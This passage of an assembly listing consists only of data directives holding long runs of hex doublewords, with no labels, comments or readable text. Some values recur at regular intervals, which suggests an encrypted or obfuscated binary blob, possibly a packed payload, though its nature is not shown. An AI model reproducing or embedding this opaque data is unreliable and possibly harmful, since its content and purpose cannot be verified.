0EAA3BF93h dd 36181EA7h, 0C229309h, 0A2CE810Eh, 0DCE8107h, 0E1BF654Ah dd 0DE995A9Fh, 0E9E041Dh, 0B4F04F9h, 8A16810Eh, 8D08989h dd 0DCE2A83h, 431B940Eh, 8CE810Eh, 0DCE8780h, 0CB24610Eh dd 1451942Eh, 0F3CE810Eh, 3CDCCF8Fh, 0DA0EA2Fh, 4B9D810Eh dd 4A6EC33Eh, 75B8A196h, 5D1EDF48h, 0F8FD018h, 3EA74C55h dd 0DCE93A7h, 0A848F90Eh, 0FD2D1193h, 0D1FDA1h, 0C585F2B5h dd 5B7B8629h, 1FCE8101h, 0FB29573Eh, 502B92C8h, 0A3AD7F97h dd 1BD4DC4h, 0DC3EEA7h, 725940Eh, 8CE810Eh, 0DCE8B7Ah dd 0B25940Eh, 0C4CE810Eh, 0C2168541h, 89A58629h, 0DCE80F0h dd 0B27942Eh, 65CE810Eh, 0DCE8107h, 9E9E37A4h, 0A428AF83h dd 7E7C6337h, 8CE810Fh, 0DCE8281h, 0CE29B60Eh, 0DA4EA02h dd 0CD4A810Eh, 5F22E302h, 6B800854h, 10A1780Bh, 399F6455h dd 8A363E5h, 0DCE8D83h, 0DA7EA0Eh, 604810Eh, 3963D928h dd 9D555865h, 1D25901Ah dd 0C2A6182Eh, 0DCE810Eh, 0A59C921Dh, 22A98B62h, 31C78476h dd 0A015E47Ah, 988C0DC0h, 9E8FB3F3h, 2953F6FEh, 62E2D51Bh dd 2310E182h, 3EC78466h, 5615E47Ah, 0C1403D1Ah, 45C8DE04h dd 2E012631h, 3215F493h, 4EEFF87Ah, 159734B9h, 93E7A2C1h dd 2AA98B30h, 3214136Eh, 643DE47Ah, 0D02CB913h, 21360521h dd 7D536B14h, 3AC77BABh, 0F915E47Ah, 0B003192Bh, 1F4E98C3h dd 43131509h, 0DCC6DF30h, 1215E47Ah, 3214716Dh, 728EE47Ah dd 538F63B5h, 321E6B6Ch, 3EC6E47Ah, 7F15E47Ah, 106725D3h dd 6320EC2Eh, 1F2A4DC0h, 3216B793h, 0D117577Ah, 0E99FD0DEh dd 4FE2ABACh, 7EC965B9h, 255CAE5Dh, 36D57515h, 3215F993h dd 5A5CDF7Ah, 0C7E501C2h, 6719C57Eh, 0C5D58738h, 0B62CEF1Dh dd 3215E475h, 320E6C6Dh, 65C2E47Ah, 3935E71Ch, 6DCE39BDh dd 2D15E475h, 7D6F69D2h, 0AFDC348Bh, 0F00E141Ch, 0B6F08F8Dh dd 812CD664h, 0BDAF82B2h, 3EC6EF61h, 0DE15E47Ah, 71772EAFh dd 0B73A4034h, 3D28BEAAh, 0F5B2C2C0h, 34C6DC75h, 0E515E47Ah dd 0B62D8BC1h, 62DD6CD6h, 1792F988h, 3915E47Ah, 3216C6C0h dd 9605847Ah, 3216B78Ch, 2D60BD7Ah, 55EBFB6Fh, 0A09B31E3h dd 0B69DD3C7h, 5675A36Bh, 3AC78B6Ah, 3615E47Ah, 0DA40DD8Ch dd 0FFC896DCh, 320E686Dh, 6656E47Ah, 2BA6E2A2h, 3935EB7Bh dd 3215EEEEh, 888F927Ah, 0B62D08F5h, 3215E474h, 32167A6Dh dd 8AAEE47Ah, 4A5CEA7Dh, 3216B793h, 4508CE7Ah, 8930BF02h dd 49921FF0h, 1E3E5B3Eh, 7C48893Eh, 321F130Fh, 0F8EDE47Ah dd 49BCAC5Ah, 9688A5DCh, 34A9B1BFh, 97272EFFh, 3215E470h dd 4308DE87h, 4A592A93h, 3220147Dh, 1158E47Ah, 0E3F2C7B6h dd 4B70BBEDh, 0A58A1A1Ch, 69B616A0h, 8636841Ah, 1FBF74E5h dd 0C534841Bh, 419C8F82h, 3A678AF7h, 3215EC09h, 3D95F97Ah dd 1215E47Ah, 32262E1Bh, 812D841Ah, 1F79B98Ah, 3224706Dh dd 6FC6E47Ah, 0B315E475h, 0F8A8B803h, 82115957h, 8F6290C8h dd 52D936D8h, 62C77F1Ah, 0A415E475h, 0A48E3714h, 2ACE1F0Bh dd 0D2E9753Eh, 0C58D8DD7h, 7390DF8Eh, 3B95FA7Eh, 3915E47Ah dd 3215F1ECh, 3FA6F97Ah, 1215E47Ah, 3215EF93h, 0DB846A7Ah dd 40D2E1A8h, 7752EDC7h, 32160BC0h, 0BF77E47Ah, 5F586860h dd 33C78474h, 1C15E47Ah, 2E7699DAh, 3215F193h, 8E903F7Ah dd 1F82BCEBh, 3228131Ah, 15FCE47Ah, 128C588h, 1E5FAC63h dd 3215EE93h, 0C7893F7Ah, 0C5AF7272h, 5F98ACD0h, 40A9F974h dd 5715E47Ah, 0B42D3359h, 3215E472h, 3210736Dh, 1F35E47Ah dd 3916A909h, 321066F6h, 3221137Ah, 9860E47Ah, 0CD6A0C99h dd 1049738h, 0FA07F887h, 0C7E6DF31h, 391574ACh, 3215F0C1h dd 58A8847Ah, 1FC613FAh, 4A21607Dh, 0A72D607Dh, 3215E488h dd 0CDC64B59h, 74A81BB3h, 337692Ah, 892D83C2h, 7F8F91B8h dd 22AEE410h, 3216BD93h, 2E445C7Ah, 5E678FEEh, 77D8E7AFh dd 17577A34h, 9A2AAE92h, 3215ED68h, 3A53761Ah, 45AF35C5h dd 6592F8BAh, 0A715E475h, 3215E476h, 0F6B2DDDAh, 0C5A672E9h dd 3294F975h, 3915E47Ah, 3215EAECh, 0CC6DF7Ah, 1215E47Ah dd 728EE4C6h, 0BA21CDEh, 63556D1Bh, 320F736Ch, 0A7C2E47Ah dd 4A5CE933h, 3215EE93h, 8876707Ah, 0B22CD506h, 3215E467h dd 3215F393h, 6B48B07Ah, 95153B3Ch, 4B7364B2h, 97304150h dd 4ED372CAh, 3215F193h, 82883A7Ah, 4988263Ah, 0A735F007h dd 3215E441h, 36B1E8Dh, 59DF28Fh, 20522ACCh, 122D607Dh dd 3215EF92h, 0B0C81E7Ah, 7AC6F7AAh, 0C3D2642Ah, 0C5347BC8h dd 25D8C81h, 322E6D6Dh, 0BD2CE47Ah, 3215E488h, 1CCE8B1Ah dd 3915E488h, 3215F0C1h, 4095F97Ah, 4E15E47Ah, 0B62D2441h dd 3215E465h, 3215F193h, 58069C7Ah, 0A7EA655Dh, 3215EE59h dd 320F6F6Dh, 0C656E47Ah, 0B235E037h, 808F33B6h, 5E107595h dd 3915A31Ah, 3210BF08h, 0B12D847Ah, 3215E488h, 8A9E8B1Ah dd 1F1FDFB4h, 3A52B07Dh, 3215EAF6h, 0CA90DC7Ah, 0B62CE476h dd 3215E43Ah, 3227686Dh, 3935E47Ah, 3215E408h, 1FAF847Ah dd 32216909h, 3273686Dh, 0B62CE47Ah, 3215E47Bh, 32ED1487h dd 0C82CE47Ah, 3215E466h, 3215F893h, 217E037Ah, 0DD2B87C1h dd 0E57E76DAh, 45E8472Ah, 4A5CE8C2h, 3227147Dh, 5EA3E47Ah dd 0B0C844D8h, 970247D1h, 3215E470h, 3215F193h, 0DAC9837Ah dd 4D421934h, 321312A1h, 906DE47Ah, 0A711D10Ch, 4A5CE9AAh dd 62DD6E87h, 6A9F976h, 0A715E47Ah, 3215E464h, 595D19D1h dd 1D188B4Eh, 120A7ACh, 17BF3E4Bh, 62DD6CB5h, 9092F977h dd 4A15E47Ah, 0F2A8DF3Bh, 2AA8DF76h, 3EC6E06Eh, 2815E47Ah dd 0E99D6884h, 132733FFh, 0A7D3A1C2h, 3215E898h, 32296B6Dh dd 3035E47Ah, 0F2A98A1Ch, 32211376h, 671FE47Ah, 7DE98071h dd 90C604F8h, 31171B6Fh, 0A90053B9h, 3C8FF94Ch, 0A715E47Ah dd 3215E473h, 3A9E5273h, 0BF7C62BCh, 0A72288C1h, 3215E475h dd 0B1B46051h, 6FC7220Dh, 7015E475h, 389ADA6Ch, 333FABC3h dd 4A1D1991h, 320170C1h, 32163D93h, 322C137Ah, 9705E47Ah dd 0CBC1FA14h, 2277B794h, 0F03D6F68h, 869CF91Ah, 3216BD93h dd 0FF275F7Ah, 634AF577h, 0F1B22BF6h, 0B18A3757h, 1F080248h dd 122AB0C1h, 110DFBFBh, 0C5AFB62Eh, 0C82CEF1Dh, 3215E478h dd 3215F693h, 0F8570B7Ah, 0DE031BE0h, 0FA96D18Dh, 2989C395h dd 0BE51DF76h, 0C72CEF61h, 3215E47Bh, 62DD6E87h, 5392F988h dd 0A715E475h, 3215E46Bh, 6687B99h, 0D7526EBBh, 0EBC3B08Eh dd 75DC1CDBh, 0B42CE03Bh, 3215E475h, 320F776Dh, 6656E47Ah dd 892D83A2h, 55A98F85h, 3F72731Bh, 3214137Bh, 947FE47Ah dd 7A4A579h, 4A5CE8C2h, 0C534897Dh, 34978C85h, 0A715E47Ah dd 3215E475h, 0E546AFE3h, 0E5C0E992h, 1F78821Ah, 4A5B9193h dd 39AEE47Dh, 3215EAF6h, 1F66E37Ah, 5199E5D0h, 579CF823h dd 322E2E1Bh, 0B32D8087h, 3215E441h, 3F90F91Ah, 3915E47Ah dd 0C5AF34C5h, 7390DB8Eh, 3215147Eh, 9DAAE47Ah, 64DB8065h dd 0C6578476h, 6FC6EC37h, 7C15E475h, 0A5AD478Dh, 7F952E6Bh dd 8F6AE33Fh, 1AF2368Fh, 3922AF51h, 32169608h, 0F795F97Ah dd 0A715E47Ah, 3215E47Ah, 8DCB1216h, 702605E0h, 11B84EE0h dd 4E1DD76Dh, 150F873Fh, 0B12CF437h, 3215E449h, 4ED33287h dd 3215E47Ah, 0C8368982h, 1FAF8890h, 0A7AF2CC1h, 3215E43Dh dd 3222131Ah, 9BA9E47Ah, 5D4104DAh, 81210E3Dh, 6DC66203h dd 1115E475h, 0C19ECE22h, 0F23DAC8Fh, 31C1779h, 89E8FC76h dd 71AF006Fh, 320EE037h, 0A856E47Ah, 3215E475h, 0C68E541Ah dd 39AF8C85h, 3215F1C1h, 3005847Ah, 12AF8B1Ah, 0E13EB9D1h dd 1FC17551h, 4B52AEC1h, 3220706Dh, 3BC6E47Ah, 0A715E47Ah dd 24604077h, 0F6F479BFh, 8F081409h, 322612B3h, 7C6FE47Ah dd 0DB7211C7h, 4DA9AF13h, 77CC62CCh, 34C72B88h, 0DD15E47Ah dd 0A72CECB6h, 32222DD4h, 369CF91Ah, 25842A14h, 0BF367F1Bh dd 3A11C498h, 321F1221h, 0F446E47Ah, 2552671Ch, 0DF9E5B1Eh dd 29C3A21Dh, 2067EC4Fh, 0BE2D0FC1h, 3215E479h, 3215F993h dd 0CDE8117Ah, 0F9683E1Ah, 518F7D9Ch, 0BDC9C1A0h, 0A85DDFB6h dd 3215E46Fh, 4A146C65h, 1952F409h, 76F7C299h, 8934841Ah dd 998E5846h, 460AD8C9h, 32160C1Bh, 0BF77E47Ah, 5F15E060h dd 32281374h, 0D305E47Ah dd 0B319A098h, 79C2C3DCh, 48CE8987h, 1315E47Ah, 4EE19E5Eh dd 3E42CB6Ch, 322D12B8h, 0D072E47Ah, 0A8006AF3h, 0ECDF2D8h dd 0BD6829D1h, 0DAF8668h, 6494F8B3h, 1215E475h, 3215F293h dd 21A3187Ah, 71ECD07Ch, 0BF3368D7h, 209238B1h, 14360559h dd 0C72D2AC1h, 3215E46Ah, 3215F592h, 9E754A7Ah, 0D2DAD9AEh dd 0B7ECEDD5h, 4E7B731Bh, 1F54751Ah, 206C216Dh, 0FE98751Bh dd 1215C3D0h, 0B12D06C7h, 3215E474h, 3216796Dh, 0BDAEE47Ah dd 0B62CE43Dh, 3215EDD0h, 32227A6Dh, 0BD2CE47Ah, 3215E474h dd 3216706Dh, 0A90E47Ah, 5B92FA7Dh, 3915E475h, 3215EB08h dd 7290E37Ah, 408EF966h, 4E15E47Ah, 4A5D3193h, 0A857897Dh dd 3215E46Dh, 1C96486Ch, 173E85C1h, 37CF8272h, 0BDAFAF47h dd 3915E7FDh, 32167DF6h, 3214137Ah, 0B6CAE47Ah, 89812A88h dd 32216909h, 321A686Dh, 0C535E47Ah, 32200BADh, 0DB21E47Ah dd 0EB134823h, 49A52746h, 0FCB03F6Bh, 0F78F2FF4h, 32166D6Dh dd 1F78E47Ah, 32169193h, 321F137Ah, 3488E47Ah, 407A0BEBh dd 1D1B9E0Ch, 57DD3251h, 49F411DDh, 0C02CE037h, 3215E475h dd 0F3042A1Ah, 0BDAEEC9Dh, 39C7B7B5h, 0EA15E47Ah, 0A08ACE53h dd 3AFFF2B6h, 0AF866CA2h, 4A36B812h, 3F8FF82Ah, 2A15E47Ah dd 49BB131Bh, 0C52CEA7Dh, 3215E479h, 3215F993h, 3CF2E47Ah dd 0FE361627h, 28B94373h, 0BDEB4067h, 3912F3FDh, 321637F6h dd 31ADF97Ah, 1215E47Ah, 0E99A7B2Bh, 322C131Bh, 2D76E47Ah dd 0E4852B2Fh, 0B098C8Fh, 0ABEBC128h, 3425690Ah, 3F606F6Dh dd 6FC6E47Ah, 2715E475h, 7348DB84h, 0E2B11925h, 0A0F0B526h dd 1EB05381h, 321F133Bh, 0F434E47Ah, 318BE33Eh, 81CE266Ch dd 321CA9C6h, 0C5017DAAh, 48C6E835h, 7E15E47Ah, 50BEA8ACh dd 8E55B6Fh, 3E7D7684h, 3215EB93h, 0C3E86A7Ah, 0CA73BB92h dd 3F28135Dh, 6FC6E47Ah, 5215E475h, 666B0B83h, 0F0115ADAh dd 0C3A5D64Ch, 25F5894Dh, 36D57683h, 878F921Ah, 0C534BE61h dd 39368AA2h, 3215EFEFh, 3215137Ah, 7CC6E47Ah, 0DFEF0758h dd 0B5E5846Dh, 1FAF2EC0h, 122288C1h, 0AF4EE4BDh, 34C7843Ch dd 0DB15E47Ah, 0D5A6E1Eh, 322C0BF1h, 0B5D0E47Ah, 0CFDA1D8h dd 7489F236h, 446C4338h, 0A7AF8A1Ch, 3215E3F7h, 3215F493h dd 0EDA3DF7Ah, 13FEEB43h, 3E19D1EAh, 0A72AB0C1h, 3215E464h dd 7BAFE65Ah, 0E3E4A21h, 0E287D9F8h, 0D17CD907h, 3E7D74E1h dd 3214646Dh, 0BC2CE47Ah, 3215E47Bh, 367CD683h, 3221131Ah dd 44A6E47Ah, 2643094Dh, 48F8F323h, 792C2DBBh, 4F239B6Ah dd 20517550h, 12131509h, 3C6F55D1h, 0B7E6815Ch, 0CA918A22h dd 0B32CED6Ah, 3215E466h, 0BB2DAC7Eh, 3215E46Eh, 3215F093h dd 2539527Ah, 6EFC0065h, 0B32D0220h, 3215E46Ah, 3215F493h dd 0AD6D847Ah, 2D3625A5h, 0BEA2EC20h, 3F0F7FF3h, 9A8F921Ah dd 0C5334B2Bh, 975E8A9Ch, 4A5CEA7Eh, 32132483h, 5856E47Ah dd 0B22C5599h, 3215E47Bh, 4BE7147Eh, 0BE2CEA7Dh, 3215E474h dd 8D2F641Ah, 4EAF8C83h, 0A852AEC1h, 3215E488h, 32ECDFE8h dd 8C688491h, 4A21FD9Fh, 1436332Ch, 0BF33E0C1h, 1F75A48Bh dd 3222706Dh, 0BF2CE47Ah, 3215E474h, 32166D6Dh, 1F50E47Ah dd 3215EF92h, 20C70A7Ah, 0CCE6D441h, 0C758D82Bh, 4606B41h dd 29889E2Ah, 2FC3B41Bh, 3F93F91Ah, 1415E47Ah, 1FC1BDBCh dd 32156E6Dh, 0BF2CE47Ah, 3215E47Bh, 14367E7Eh, 0BEEF0AFBh dd 32CE8C87h, 0B815E47Ah, 335F15FBh, 8335F15Bh, 93C86B76h dd 1F86D32Dh, 3216BA93h, 0EC6ACF7Ah, 0CA396790h, 0EE35BD26h dd 0C1F99095h, 75AAD913h, 31762555h, 3213131Ah, 27D6E47Ah dd 0A7B5FDD3h, 3215E475h, 78913905h, 8AAEE27Ch, 3215E416h dd 32EF7A6Dh, 9A35E47Ah, 3215E475h, 39C0BE3Bh, 0A7799E6Ch dd 3215E46Dh, 0E165889Dh, 6D44922Fh, 5E6F6480h, 9AAF89E2h dd 3215E7BFh, 39297683h, 3215EAFBh, 7F18E07Ah, 32A51483h dd 3E5DE47Ah, 0A735E801h, 3215E464h, 4D811DF4h, 0E9FE9BB3h dd 28C36DEDh, 0DEAFD14Eh, 322E12C5h, 0AAE8E47Ah, 12FCFC03h dd 4EAF165Bh, 0C02D2B51h, 3215E3E8h, 62E8EE87h, 719CF915h dd 15AEDDC1h, 188FF8BBh, 3915E47Ah, 3215EB08h, 39C6DF7Ah dd 5015E47Ah, 0E695E205h, 0CC227BA2h, 869EA43Ch, 69C70ACEh dd 1215E475h, 3215EF93h, 0CEA5287Ah, 0BCB2AAE9h, 6780CE05h dd 58F76A91h, 1FD4D4C1h, 32154F93h, 0D4C6DC7Ah, 3915E47Ah dd 3215EC08h, 0A18F847Ah, 2A2D189Ah, 8538771Bh, 1215CB17h dd 98D02EBCh, 3213137Ah, 0D48E47Ah, 1F8618B0h, 3935FE7Dh dd 959739BDh, 1FD1C026h, 320F6D6Dh, 0A851E47Ah, 3215E40Ch dd 320E6B6Dh, 3A56E47Ah, 3215EAF6h, 75AADF7Ah, 31EF918Bh dd 32297A6Dh, 3935E47Ah, 3215E3C0h, 86A9927Ah, 66C7841Bh dd 0B515E475h, 69A2726Ch, 492577F0h, 0ED96B0EBh, 0CC05EF20h dd 10F457D4h, 49AEE5C1h, 3935DEB9h, 3215ED09h, 0AD04F97Ah dd 3216BC8Ch, 0BC2DEB7Ah, 97375381h, 0D1ABBA02h, 82922D5Fh dd 9EB07E82h, 0BD2D8514h, 3215E46Eh, 0A546B1Ah, 14BEA2A4h dd 206D88D1h, 127DDB23h, 3FA7F825h, 0B715E47Ah, 3216B792h dd 0E16F227Ah, 0D9E98BD5h, 8B9BFF08h, 0B962AF1Ah, 1CEE73D5h dd 389CF942h, 45C78A1Ch, 6515E47Ah, 0E54784C5h, 0E33B2B99h dd 3A519574h, 3216BEF5h, 3226137Ah, 14BAE47Ah, 0EBDAF734h dd 91DCF7C3h, 0E013CAAh, 0A7E32BDBh, 3215E442h, 5A51EE28h dd 92BC0CD9h, 0C5E2B5D4h, 0C72CDF8Eh, 3215E440h, 3FA9F91Ah dd 2D15E47Ah, 32CE8A1Ch, 0B815E47Ah, 31B715FBh, 12C2F15Bh dd 322B646Dh, 3ACDE47Ah, 8215E47Ah, 0D106C09h, 0B7751DB8h dd 3215EB92h, 4B50997Ah, 252DBF0Dh, 1F76DEFAh, 95AADC1Ah dd 31762556h, 71A9921Ah, 0C5AF7B25h, 1235EC37h, 1F5E7514h dd 0EE988B1Bh, 1FBD06C3h, 0C65DF0F3h, 45C6F037h, 9B15E47Ah dd 0DFE029FAh, 0F5F94EB0h, 0F2A6F9E6h, 322E1376h, 2D31E47Ah dd 0A740AF54h, 0F4A9268Dh, 0F2A6DF6Ah, 40A6F96Eh, 4A15E47Ah dd 4EBAAEC1h, 4A26B0F3h, 1F66E31Bh, 0C72D0AD9h, 3215E477h dd 7EFD6B14h, 6F508AE4h, 322E1375h, 64CDE47Ah, 1C41A183h dd 0A736154Bh, 3215E470h, 2A95D5FCh, 349331ACh, 0F115C55Eh dd 322B796Dh, 3AC6E47Ah, 515E47Ah, 65EEAD32h, 0A7E0C86Bh dd 3215E479h, 0B8DFCD70h, 34CBF3F4h, 0EE09BC3Ch, 5A14A3EEh dd 0F84E00B2h, 430EC119h, 5C1F207Dh, 0BC5DF170h, 6CDB65F7h dd 32261374h, 0BEA0E47Ah, 536BED07h, 0D675236Fh, 333C5A3Ah dd 0AF5CDAA3h, 320F776Eh, 30C2E47Ah, 0CFA87882h, 3915C3BEh dd 3215EBFAh, 0C82D847Ah, 3215E47Ah, 0C02D7B1Bh, 3215E441h dd 3215F193h, 8F4E377Ah, 49E6206Ch, 3992F8AAh, 0A715E47Ah dd 3215E46Ch, 53AF0F9h, 98255E48h, 0BF3685F1h, 59C18BA8h dd 0CCF86AFFh, 1F87F0E2h, 8E466DEFh, 39C2F15Ah, 3922A3C5h dd 3216C5C0h, 63ADF97Ah, 0A715E475h, 3215E46Eh, 39CA0494h dd 59F5DEBAh, 0AA78FB65h, 0C6500E93h, 3990F8A2h, 1215E47Ah dd 3215646Dh, 0AF8EE47Ah, 171B95C2h, 3A577E1Bh, 46A8F94Bh dd 1215E47Ah, 0D6FB6B14h, 0CA9C9247h, 0A7788AAAh, 3215E470h dd 666B0A90h, 4B50ECDAh, 0F75B6DF3h, 0BF35F171h, 2326DE8Ah dd 3D94F8FCh, 2F15E47Ah, 43AF8B30h, 32BA12C9h, 1671E47Ah dd 0E2A048AEh, 15975416h dd 0FF954EECh, 66C73C60h, 4E369783h, 2FAEE9C1h, 3215F693h dd 0E8C66D7Ah, 0CCCBFBCBh, 17C80CD2h, 12DF4E80h, 32131225h dd 0DD48E47Ah, 2CE0E014h, 32160C1Bh, 0BF77E47Ah, 5F27A460h dd 4794F974h, 1215E47Ah, 3216716Dh, 43AEE47Ah, 32ABF938h dd 3915E47Ah, 3215EAF7h, 0BDA8DF7Ah, 31B9C17Fh, 9D73FBF9h dd 0A55872EEh, 8972EEh, 0D8C64282h, 24BE065h, 6BCB489Ch dd 9D898617h, 0A71AC1EEh, 8D141064h, 1DD90A0h, 0A5A0039h dd 0A0F6208Fh, 7DCBF990h, 0A42719D0h, 9D89867Dh, 9D71A1EEh dd 75C172EEh, 9561BE7Ch, 8DE999BAh, 0AE21198Eh, 6D887D8Fh dd 0BFC172EEh, 35C27908h, 0B70F0303h, 128A53E6h, 9D8972F2h dd 0DE59171Eh, 237D3AF8h, 3372130Ah, 9D8972EBh, 9D65A18Eh dd 6A9B72EEh, 0B4056FC7h, 58B7312h, 8B19588Eh, 63484BBAh dd 9440DB71h, 0B6CDBB8Fh, 0ABF3869Fh, 0C28972EEh, 0A6F487ACh dd 7D8972EEh, 9D8905F9h, 2EB72EEh, 0A4F00728h, 9D898576h dd 9D8CA1EEh, 2CE772EEh, 574CB78h, 9D8972EFh, 7B57F9B4h dd 0A48A59C4h, 9D897F72h, 9CF487EEh, 0A48972EEh, 9D897379h dd 30EB12EEh, 0E4F64320h, 0DB5819B5h, 0A38972F1h, 67E1B277h dd 8B40F50Ah, 0D71A91DDh, 0B5F7455Dh, 0A5B10424h, 9D895170h dd 9D80A1EEh, 0B76E72EEh, 570D29E7h, 7AB3AF9Ch, 4A37464Ch dd 5448B9Ch, 0B5C27946h, 9D897B17h, 559626EEh, 0A99054C5h dd 0C2BF2A9Fh, 49D0F28Eh, 686EF990h, 0BA5A19C9h, 9D7C01F9h dd 1C7272EEh, 9D8972F9h, 9D898517h, 7AABE1EEh, 3C46B52Dh dd 31D07641h, 9D74A23Ch, 5A572EEh, 33F3FBDEh, 47E6BB64h dd 23D192EEh, 9D7AFCF9h, 12E972EEh, 9D8972F8h, 51CCE057h dd 0F5301D59h, 0AA09884Ch, 8A8972EEh, 1F7211A7h, 9D8972EEh dd 94B1F990h, 13CE1998h, 9DD9A16Ch, 0AD0CFC30h, 0FCBEFA62h dd 0BA584676h, 59C0321h, 9DD9A168h, 2DBBF89Eh, 2CAE347h dd 8A786B5Ch, 28C2E1B9h, 9DD9A163h, 0A541B77Ah, 12D9A162h dd 9DD9A139h, 86ACFE31h, 0F735722Dh, 0EA46B30Fh, 9DC9C902h dd 9C1DA162h, 0BE8A3BCEh, 0AF2EE15Eh, 3752A2D6h, 8A78DD25h dd 19012CEFh, 0F739AE43h, 41E87FB3h, 8A09A603h, 8534E13h dd 2A3B4320h, 8A74F4A2h, 13203204h, 9DD9A13Ah, 5476B7D4h dd 0B3F0594Ah, 262F339Dh, 0CAC880E7h, 0AB5CB664h, 0B5D9A162h dd 9DFC2CEBh, 7F39AE69h, 1317E0BAh, 9DD9A13Ah, 51C4CEA0h dd 233A126Ah, 8AF3118Dh, 0B3DF2CEFh, 0B2A8AE43h, 0CED9A162h dd 221F9AD7h, 389B95B4h, 875C317Bh, 12DA8246h, 9DD9A16Ch dd 0EFBFC3Fh, 0E427FF09h, 9DD9D93Eh, 21C2A162h, 9DD9A163h dd 0A519B37Ah, 9DE0DBE6h, 1F1B9962h, 9CB67D67h, 9DC4CF14h dd 0F301A162h, 8C27B735h, 0A28B714Fh, 9203C50Eh, 531C919Dh dd 9DD9AF8Bh, 116E1862h, 0B4A9FF63h, 606378B7h, 0B043B665h dd 7DD9A162h, 9DDA256Dh, 9489A162h, 405C3403h, 0A4DA87FCh dd 9DD9A9B8h, 0A84DB662h, 7DD9A162h, 8A09A603h, 9DE02F6Dh dd 7FACA162h, 8B608DBCh, 9DD9B68Bh, 0C77DA062h, 0DDDD1571h dd 0D7D3FA79h, 0A1A84956h, 0D947B512h, 12D9A165h, 9DD9A16Dh dd 67DE9C37h, 0CDAA4F7h, 0C16D882Dh, 27445BA9h, 9CB690CBh dd 8C763802h, 9DD9B18Bh, 0C1D10D62h, 0B011BE78h, 25B4C574h dd 8BFA850Fh, 12404234h, 9DD9A157h, 43C4EC3Bh, 764636DCh dd 418C0C2Eh, 52B61F63h, 1FC2A355h, 0A65AB513h, 0A4D9A162h dd 9DD9AFE4h, 0AA48B662h, 93D9A162h, 9DDCD066h, 15A7A162h dd 852D4DE4h, 9DD9B162h, 9DD9B48Bh, 0CA18CF62h, 83C84772h dd 0E15B8E09h, 0EF126EFEh, 9CB697C7h, 9DD9B78Bh, 39001062h dd 2408C71Ah, 0C0E56688h, 0B4BEEC4Dh, 5399992h, 9DD9A16Eh dd 0FF8F9C08h, 7645CE41h, 4F11235h, 9A0EDF84h, 6558421Ah dd 8ACA6600h, 0C3FCE4B9h, 7F39AE68h, 0F159EFB9h, 0DAA84846h dd 9AD9A165h, 1EC2079Fh, 3BC03A2Fh, 52DF986Fh, 10E708C7h dd 12DE2672h, 9DD9A157h, 0C4446F84h, 7C29B920h, 6C242978h dd 8CE4935Fh, 2A47AC64h, 0AA11EEE3h, 27C2A162h, 9DD9A161h dd 0AA41B602h, 12D9A162h, 9DD9A165h, 9DEAD92Eh, 7D40B4A0h dd 51102804h, 14464FF6h, 0C19AEE04h, 7DD9A145h, 0B0BEE602h dd 26407B73h, 60B174DFh, 0F4C24165h, 9DDCD178h, 9D45A162h dd 8AA36636h, 0B0A8AAB9h, 82D9A162h, 6AD0FA2Ch, 3CD437B0h dd 21C2F3DBh, 9DD9A153h, 9DD9AD8Bh, 5B2B2762h, 0C5BC20A5h dd 16B8FB4Ah, 0A519B115h, 9DD964E6h, 0FC514162h, 7FC6B4CFh dd 25E3BBE3h, 0A4D93203h, 9DD980EDh, 9DB5D062h, 416AA162h dd 0C6281D52h, 0BFF214C6h, 300F82D8h, 4B1F9BD5h, 69485658h dd 9D44B666h, 0A4D9A162h, 9DD9A8F1h, 0AC58A062h, 5D98A2Eh dd 9DD9A165h, 6B18A063h, 0E4612668h, 0C482CF4Bh, 0E960401Ch dd 0CDACC2A9h, 0AFFE707h, 771B2804h, 0A4D9A101h, 9DD9AAE5h dd 0C2F42162h, 9DBD370Ah, 9DC4D062h, 0BF34A162h, 0EE5980FCh dd 0FD6291E3h, 22262A23h, 9DD9B18Bh, 5F942D62h, 0AA8D9818h dd 37A1922Ch, 0B4ED5090h, 956AA65Eh, 16072713h, 23CDCED7h dd 3F8CE1E3h, 0B2A88C55h, 0FDD9A162h, 0B1C8589Eh, 0B741B441h dd 9230C9E3h, 30C26ED3h, 9DD9A170h, 12609AB8h, 831F45EBh dd 9DD97A8Bh, 0DE526D62h, 454DB40Dh, 4252B1BFh, 687A979Bh dd 570867DBh, 0A4A8AEEBh, 0CFD9A162h, 0E3FC2D9h, 0B308CB5Dh dd 704914FEh, 5609727h, 9F39A8D2h, 2AAAE66Dh, 7DE106A5h dd 0AAA92864h, 0A4D9A162h, 9DD97EE7h, 0AC604F62h, 0C7A8BA41h dd 0A5D9A165h, 0F34980CDh, 2916A9A6h, 0C7D6F287h, 9DD9AE8Dh dd 55DB9162h, 83CAB57h, 23B03205h, 0B512398Bh, 0CE1C87Dh dd 0EE96C1CCh, 15D8EE3h, 27EC583Dh, 3F63EC0Eh, 5DC2951Eh dd 997B051Eh, 0DF594EB6h, 0F666E9C2h, 8E66E9C2h, 397B051Eh dd 0F1704ECEh, 0C519BBADh, 7EF45887h, 6BC312F5h, 8C7B051Eh dd 0A2C079CEh, 73789085h, 0A96012F5h, 8C680090h, 765C1D11h dd 5A61B71Eh, 797B0E26h, 0B545E51Eh, 7D3594BBh, 7D2D8C02h dd 797AE202h, 0B49DD01Eh, 173CB6C4h, 73134BB1h, 91AC9051h dd 797B12F5h, 7951051Eh, 79662DCFh, 4E9B051Eh, 31E9A45Dh dd 29E209E2h, 79A009E2h, 2622051Eh, 68601C5Dh, 0B108AC3Ch dd 5B05F458h, 0DC63E51Dh, 0DEF50A28h, 3F63E6E3h, 5DC2A01Eh dd 997B051Eh, 0DF5C4EBBh, 0F666E9AAh, 9A66E9C2h, 2A7B051Eh dd 87AB4EB3h, 726C9085h, 1B7C12F5h, 68A016B0h, 0C19805A4h dd 797B0505h, 4CA7A6FEh, 5D8DA187h, 5D86C99Fh, 797B05F5h dd 3FA79EDDh, 18350F8Ah, 71422C99h, 797B0D8Ah, 73E7DA1Eh dd 77B051Eh, 8061B752h, 8CD79580h, 0BCA19611h, 597DAB12h dd 154AEA7Dh, 0E3C0B4B3h, 0A21752C9h, 5253D448h, 71089DD5h dd 2A0DB1A2h, 0C362BB44h, 178A1D85h, 0D60577A3h, 0B827E920h dd 0B8911068h, 6769E82Bh, 65017DB8h, 6D02EC47h, 0B83CEC44h dd 5F50E82Bh, 255462B8h, 34CE7251h, 11F629EDh, 788CBDFAh dd 9689E89Fh, 0AFA87F2Bh, 0D889E82Bh, 393E256Eh, 3175CC9Fh dd 0B375CC67h, 7589E8F8h, 3B8B2557h, 0A1A1FF32h, 0B189E8F8h dd 3AA1D27Dh, 0B7E493D9h, 7689142Fh, 6D57DACCh, 0A9CD6FE5h dd 0B889E921h, 9DBAE82Bh, 